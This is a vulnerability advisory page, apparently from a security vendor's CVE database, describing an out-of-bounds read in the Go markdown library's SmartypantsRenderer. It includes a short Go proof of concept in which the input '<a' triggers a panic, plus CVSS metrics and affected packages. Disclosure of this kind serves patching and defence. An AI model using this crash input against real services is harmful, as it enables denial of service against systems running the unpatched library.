Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-40890 — markdown

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-125 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Go Markdown has an Out-of-bounds Read in SmartypantsRenderer

Summary

Processing a malformed input containing a < character that is not followed by a > character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic.

Details

The smartLeftAngle() function in html/smartypants.go:367-376 performs an out-of-bounds slice operation when processing a < character that is not followed by a > character anywhere in the remaining text.

https://github.com/gomarkdown/markdown/blob/37c66b85d6ab025ba67a73ba03b7f3ef55859cca/html/smartypants.go#L367-L376

If the length of the slice is lower than its capacity, this leads to an extra byte of data read. If the length equals the capacity, this leads to a panic.

PoC

```golang

package main

import (

"bytes"

"fmt"

"github.com/gomarkdown/markdown/html"

)

func main() {

src := []byte("<a")

fmt.Printf("Input: %q (len=%d, cap=%d)\n", src, len(src), cap(src))

var buf bytes.Buffer

sp := html.NewSmartypantsRenderer(html.Smartypants)

sp.Process(&buf, src) // panics: slice bounds out of range

fmt.Printf("Output: %q\n", buf.String())

}

```

Impact

This vulnerability will lead to a Denial of Service / panic on the processing service.

-- The Datadog Security Team

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-40890 is classified as CWE-125: Out-of-bounds Read. The code reads past the limits of a buffer, exposing adjacent memory contents or crashing the process.

Affected software

CVE-2026-40890 is recorded against 2 packages.

  • github.com/gomarkdown/markdown
  • markdown (fixed in 2026-04-10)

Timeline and source

Published on 14 April 2026 and last revised on 24 July 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)

Other advisories for this package

github.com/gomarkdown/markdown has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-125: Out-of-bounds Read) in other software:

CVE-2026-40890 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-125
Public Exploit ✅ No
Source NVD
Published 2026-04-14
Updated 2026-08-20
Modified 2026-07-24

Affected Packages

Software From version Fixed in
github.com/gomarkdown/markdown — —
markdown — 2026-04-10

Similar Threats

Site Security Check

Is markdown part of your stack?

CVE-2026-40890 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓